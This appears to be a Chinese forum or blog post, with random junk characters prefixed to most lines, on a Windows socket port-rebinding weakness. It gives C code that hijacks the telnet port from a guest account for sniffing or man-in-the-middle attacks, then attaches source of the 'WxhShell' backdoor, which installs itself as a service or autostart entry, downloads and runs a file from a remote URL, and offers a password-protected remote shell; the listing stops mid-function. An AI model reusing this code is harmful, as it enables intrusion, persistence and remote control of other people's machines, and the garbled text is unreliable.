在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
IOX:yxj s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
mLQUcYfR '\
XsTs#L saddr.sin_family = AF_INET;
@FU~1u3d CPVmF$A- saddr.sin_addr.s_addr = htonl(INADDR_ANY);
#sS9vv7i /;7ID41 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
]?M)NRk%S .5]{M\aA 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
4'` C1 a 1b8c67j[ 这意味着什么?意味着可以进行如下的攻击:
Jb9F=s+ - {0g#G 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
4Mi~1iZj ;sCU[4 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
U[ bgu#P; Hl/7(FJqc> 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
zs0hXxTY: zPHy2H$28 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
[#>{4qY2 sSz%V[XWL 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
86y%=! bS 0lBat_<8 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
ldYeX+J
_ i2`# 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
r
3|4gG lAz2%s{6 #include
I
ld7}R #include
g1ytT%] #include
dGU8+)2cn #include
K0v.3 DWORD WINAPI ClientThread(LPVOID lpParam);
?3Pazc]+| int main()
(U _wp's {
qv$!\ T WORD wVersionRequested;
H }B2A" DWORD ret;
Jl_~_Z WSADATA wsaData;
r,Ds[s)B BOOL val;
v~f'K3fLp SOCKADDR_IN saddr;
8'\~%xw SOCKADDR_IN scaddr;
5=Suj*s{D# int err;
y~dB5/ SOCKET s;
=tn Tdp0F SOCKET sc;
9{$8\E9*nd int caddsize;
F(;jM( HANDLE mt;
Fh^ox"3c DWORD tid;
nGns}\!7' wVersionRequested = MAKEWORD( 2, 2 );
GyuV
% err = WSAStartup( wVersionRequested, &wsaData );
=&N$Vqn if ( err != 0 ) {
-<PC"B printf("error!WSAStartup failed!\n");
Vha'e3o! return -1;
'bC]M3P }
8<{;=m8cQ saddr.sin_family = AF_INET;
5a6VMqQ6 *<xrp*O //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
2uEhOi0I bQ"N
;d)e saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
6< >SHw saddr.sin_port = htons(23);
*%I[ ke * if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
i%MA"I\9 {
` zY!`G printf("error!socket failed!\n");
DRp&IP< return -1;
F3Ap1-%z }
OT;cfkf7 val = TRUE;
-zTEL(r //SO_REUSEADDR选项就是可以实现端口重绑定的
BJgDo if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Xo8DEr {
NHAH#7]M&1 printf("error!setsockopt failed!\n");
bNXAU\M^ return -1;
iE=P'"I }
ewym1}o //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
eG4>d^`c //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
rFfy#e //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
vf N#NY6 &wb9_?ir- if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
!)nD xM`p {
I-bF{ ret=GetLastError();
M/} aq printf("error!bind failed!\n");
z&>|*C.Y return -1;
-%H%m`wD }
[IMQIX listen(s,2);
:/i~y $t while(1)
r@yD8 D \ {
ami09JHy caddsize = sizeof(scaddr);
+9C;<f //接受连接请求
RG&6FRoq sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
1}nm2h1 I if(sc!=INVALID_SOCKET)
Oy%Im8.-A# {
:!']p2B mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
:~D];m if(mt==NULL)
x W\,KSK {
e3g_At\ printf("Thread Creat Failed!\n");
rREzM)GA break;
/BKtw8 }
C\A49q }
,T{oy:rB CloseHandle(mt);
a,cC!
}
~&KX-AC@ closesocket(s);
'?8Tx&}U8 WSACleanup();
# 66e@ return 0;
>XnO&hW }
Um\0i;7 ~4 DWORD WINAPI ClientThread(LPVOID lpParam)
;ctU&` {
;cLUnsB\ SOCKET ss = (SOCKET)lpParam;
6__K#r SOCKET sc;
3S;N(A4 unsigned char buf[4096];
cix36MR_ SOCKADDR_IN saddr;
akCIa'>t long num;
(u9Zk~)F DWORD val;
:XYy7xz< DWORD ret;
JGgxAd{L //如果是隐藏端口应用的话,可以在此处加一些判断
B9^R8|V //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
jA<T p}$! saddr.sin_family = AF_INET;
n_9x"m$ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
lhxdx saddr.sin_port = htons(23);
s!de2z if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
8lb-}= {
<xqba4O printf("error!socket failed!\n");
{ 8p\Y return -1;
SK-W%t }
@[v8}D val = 100;
@RVOXkVo if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Q6x% {
[O1|75 ret = GetLastError();
{(Fe7,.S3 return -1;
t!~S9c }
+ Kk@Q if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
u|OtKq {
:1MMa6 ret = GetLastError();
hDvpOIUL1 return -1;
Gkmsaf> }
gl
"_:atW if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
" '[hr$h3 {
}dKLMNqPA printf("error!socket connect failed!\n");
xqv[?
? closesocket(sc);
.Q[yD<)Ubs closesocket(ss);
F.
T@)7 return -1;
'Sa!5h }
mgcN( n1 while(1)
{i;6vRr {
Y&GuDLUF //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
z6cYC, //如果是嗅探内容的话,可以再此处进行内容分析和记录
IN_gF_@% //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
C{&)(#*L num = recv(ss,buf,4096,0);
K'Spbn!nC if(num>0)
Ue! Q. " send(sc,buf,num,0);
v20~^gKo=m else if(num==0)
P7r4ePtLk{ break;
C0(sAF@ num = recv(sc,buf,4096,0);
8W,*eke? if(num>0)
ox4W$YdMG send(ss,buf,num,0);
Rsn^eR6^ else if(num==0)
Nv3tt break;
*~;8N|4< }
:\bfGSD/gd closesocket(ss);
HH zEQV Lh closesocket(sc);
5~s{N return 0 ;
s.rT] }
;($1Z7j+ wT/6aJoX ]/44Ygz/ ==========================================================
iRs V#s Bc[6*Y,%T 下边附上一个代码,,WXhSHELL
WjOH/$( choL%g} ==========================================================
nq@5j0fK 5#!ogKQ(i #include "stdafx.h"
[%~^kq=| [gZDQcU #include <stdio.h>
k%Eh{dA #include <string.h>
WHk/$7_"i #include <windows.h>
G"> 0]LQ #include <winsock2.h>
2-s 7cXs #include <winsvc.h>
OZT^\Ky_l #include <urlmon.h>
S&01SX6 `Cg ^in\ #pragma comment (lib, "Ws2_32.lib")
!tBeuemN% #pragma comment (lib, "urlmon.lib")
rS,j;8D- ~p.%.b;~t #define MAX_USER 100 // 最大客户端连接数
\JU{xQMB #define BUF_SOCK 200 // sock buffer
bKUyBk,\# #define KEY_BUFF 255 // 输入 buffer
,R~eY?{a .YC;zn^ #define REBOOT 0 // 重启
VA2<r(y~( #define SHUTDOWN 1 // 关机
,CKvTxz0 1i+FL'' #define DEF_PORT 5000 // 监听端口
f3t.T=S B1+ZFQo #define REG_LEN 16 // 注册表键长度
qHJ'1~?q #define SVC_LEN 80 // NT服务名长度
<r;o6>+ Yrsp%<qj // 从dll定义API
ttj2b$M, typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
`:4MMr9 1 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
50,Y typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
O9*p0%ug typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
`p1DaV :x+ig5 // wxhshell配置信息
<m1sSghg struct WSCFG {
e?=elN int ws_port; // 监听端口
n;qz^HXEJ char ws_passstr[REG_LEN]; // 口令
!-RwB@\ int ws_autoins; // 安装标记, 1=yes 0=no
!7c'<[+Hm char ws_regname[REG_LEN]; // 注册表键名
|[ocyUsxX char ws_svcname[REG_LEN]; // 服务名
`j:M)2:*y char ws_svcdisp[SVC_LEN]; // 服务显示名
W>:kq_gT char ws_svcdesc[SVC_LEN]; // 服务描述信息
A$<>JVv char ws_passmsg[SVC_LEN]; // 密码输入提示信息
pyF5S,c int ws_downexe; // 下载执行标记, 1=yes 0=no
XN(tcdCG char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
>2Ca5C char ws_filenam[SVC_LEN]; // 下载后保存的文件名
s|gp gIBpOPr^d };
A6i
et~h[ [Auc*@ // default Wxhshell configuration
m>YWxa struct WSCFG wscfg={DEF_PORT,
<`+zvUx^? "xuhuanlingzhe",
f?0D%pxc}& 1,
17i$8 "Wxhshell",
/x/4NeD "Wxhshell",
N]u2ql& "WxhShell Service",
-ek1$y9) "Wrsky Windows CmdShell Service",
R'Eq:Rv~;^ "Please Input Your Password: ",
piuKVU 1,
doH2R@ "
http://www.wrsky.com/wxhshell.exe",
!&JiNn(' "Wxhshell.exe"
^9'$Oa,* };
avBu a6i' C#$6O8O // 消息定义模块
P\T| [%E' char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
5&*zY)UL char *msg_ws_prompt="\n\r? for help\n\r#>";
;Z4o{(/zU char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
AWL[zixR char *msg_ws_ext="\n\rExit.";
~v\hIm3=m char *msg_ws_end="\n\rQuit.";
s ^3[W0hL char *msg_ws_boot="\n\rReboot...";
oXbI5XY)wb char *msg_ws_poff="\n\rShutdown...";
3G.r- char *msg_ws_down="\n\rSave to ";
avy=0Jmj J&_3VKrN char *msg_ws_err="\n\rErr!";
6qDfcs char *msg_ws_ok="\n\rOK!";
| lE-&a$xd o$\tHzB9!A char ExeFile[MAX_PATH];
t\|J&4!Y int nUser = 0;
uOFnCy 4 HANDLE handles[MAX_USER];
Pxk0(oBX int OsIsNt;
*`1bc'umM; 9t}J|09i SERVICE_STATUS serviceStatus;
A!4VjE> SERVICE_STATUS_HANDLE hServiceStatusHandle;
5A,=vE 3`ml;
L?D // 函数声明
j[H0SBKC int Install(void);
Ge0Lb+<G int Uninstall(void);
=1/q)b,p) int DownloadFile(char *sURL, SOCKET wsh);
zv@bI~3~ int Boot(int flag);
K9*IA@xL void HideProc(void);
u{P~zyx int GetOsVer(void);
,02w@we5 int Wxhshell(SOCKET wsl);
(JU_8j! void TalkWithClient(void *cs);
W]@6=OpH int CmdShell(SOCKET sock);
)^";BVY int StartFromService(void);
(M8hy4Ex int StartWxhshell(LPSTR lpCmdLine);
W\NG>t hbH#Co~o4# VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
gg(k7e VOID WINAPI NTServiceHandler( DWORD fdwControl );
(FG^UA#' :Dj#VN // 数据结构和表定义
5pmQp}}R SERVICE_TABLE_ENTRY DispatchTable[] =
o~k;D{Snr {
vS#{-X {wscfg.ws_svcname, NTServiceMain},
@ge
LW! {NULL, NULL}
]/[0O+B? };
{!y<<u1 Tm\OYYyk // 自我安装
"]UIz_^'`U int Install(void)
4]IKh,jT {
9 R char svExeFile[MAX_PATH];
aH HKEY key;
CdNih8uG strcpy(svExeFile,ExeFile);
^6#-yDZC@ . wmkj // 如果是win9x系统,修改注册表设为自启动
jNIUsM8e if(!OsIsNt) {
j6}$+!E if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
~M; gM]r; RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
s{B_N/^ RegCloseKey(key);
Wxc^_iqA1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
h&P
{p _Y RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
4a?r` ' RegCloseKey(key);
Gn[ *?=Vy return 0;
1EuK,:x }
EzUPah }
(s;zRb!4L }
9':/Sab:7v else {
oAaf)?8 ^9s"FdB]24 // 如果是NT以上系统,安装为系统服务
E)Srj~$d SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Z>&K&ttJ if (schSCManager!=0)
97(n\Wt2 {
W%WC(/hor SC_HANDLE schService = CreateService
fSr`>UpxC (
^^eV4Y5`+ schSCManager,
jQkUNPHu wscfg.ws_svcname,
}I)z7l. wscfg.ws_svcdisp,
pKnIQa[c SERVICE_ALL_ACCESS,
l:x_j\ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
| 4 `.#4 SERVICE_AUTO_START,
g/!Otgfu SERVICE_ERROR_NORMAL,
ff[C' svExeFile,
j37: NULL,
p8_2y~! NULL,
VD9J}bgJ NULL,
1P \up NULL,
l%@dE7<Z NULL
4[Z1r~t\L );
E::<;9 if (schService!=0)
j $KM9 {
&62`Wr 0C CloseServiceHandle(schService);
p#z;cjfSt CloseServiceHandle(schSCManager);
r.9 $y/5 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
8>m1UO Nr strcat(svExeFile,wscfg.ws_svcname);
;}f6Y['z if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
o3fR3P%$ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
gn364U a RegCloseKey(key);
@
E >eq.m return 0;
0T=jR{j!o }
uV!MW= ) }
W!y)Ho CloseServiceHandle(schSCManager);
GgT=t)}wu }
48;~bVr} }
')r D?Z9 ^ b6]e4DL:R return 1;
)S#j.8P'B }
coSTZ&0 Bg5;Q) // 自我卸载
%@o&*pF^, int Uninstall(void)
C9G U6Ao {
tjt=N\; HKEY key;
/m;O;2" #.~.UHt if(!OsIsNt) {
/O+e#z2f< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
[q
w RegDeleteValue(key,wscfg.ws_regname);
b5[f 5 RegCloseKey(key);
HuK Aj if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
O.dux5lfBd RegDeleteValue(key,wscfg.ws_regname);
|b,zw^!e[' RegCloseKey(key);
L,GShl 0S return 0;
Gi;9 S }
eK\|SQb }
py}.00it }
0@:Y>qVa else {
O~nBz):2 v]l&dgoT SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
\l>qY(gu if (schSCManager!=0)
%}\ vW {
K90D1sD SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
{jrZ?e-q if (schService!=0)
IruyE(;HS {
G3oxa/mO if(DeleteService(schService)!=0) {
#*[,woNk CloseServiceHandle(schService);
2lX[hFa5 CloseServiceHandle(schSCManager);
vI4%d, return 0;
'M47'{7T }
sb8z_3 CloseServiceHandle(schService);
FfZ{%E }
"9TxK6 CloseServiceHandle(schSCManager);
U.d'a~pH }
?G2qlna }
|zK!+fu aB/{ %%o return 1;
WNCM|VUl }
;G iI'M nLzX
Z6JlU // 从指定url下载文件
O_qu;Dx! int DownloadFile(char *sURL, SOCKET wsh)
sj#{TTW {
~+7a d$ HRESULT hr;
+#^sy> char seps[]= "/";
|^
2rtI char *token;
QJ[(Y@ O6a char *file;
C]aOgt/U char myURL[MAX_PATH];
ru#T^AI*^ char myFILE[MAX_PATH];
Z $ p^v*y )6PJ*;p- strcpy(myURL,sURL);
,?P8m" token=strtok(myURL,seps);
Lw!?T(SK while(token!=NULL)
K<Yn_G {
';i"?D?NAk file=token;
\=HfO?$ Ro token=strtok(NULL,seps);
@1/Q }
$71i+h]_ 3s88#_eT GetCurrentDirectory(MAX_PATH,myFILE);
2&zn^\%" strcat(myFILE, "\\");
xc:`}4 strcat(myFILE, file);
=1V>Vd?8. send(wsh,myFILE,strlen(myFILE),0);
-wPuml!hZ| send(wsh,"...",3,0);
S7@ZtFf hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
GGFar\
EzW if(hr==S_OK)
j+z' return 0;
AAeQ- nbP else
Dx p> return 1;
}rFsU\]:q i{%z }
KZ367&>b7 I{i:B // 系统电源模块
D5o+0R int Boot(int flag)
9q@z[+X {
X}n&`y{/ HANDLE hToken;
n"K {uj)) TOKEN_PRIVILEGES tkp;
;'b!7sMO~ hfl%r9o if(OsIsNt) {
5`OK- OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
;EE{~ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
|SSfG~r tkp.PrivilegeCount = 1;
jQH5$ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
=B3!jir AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
FFD*e-i if(flag==REBOOT) {
,qBnqi[ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
jSUAU}u!M return 0;
'91u q }
FJ3:}r6 " else {
%XDip]+rb if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
A>&>6O4 return 0;
Bd N{[2 }
ZmYa.4'L }
4iL.4Uj{N else {
~T;ajvJ if(flag==REBOOT) {
P?WT)C2)u if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
$=@9 D,R return 0;
7(nz<z p }
<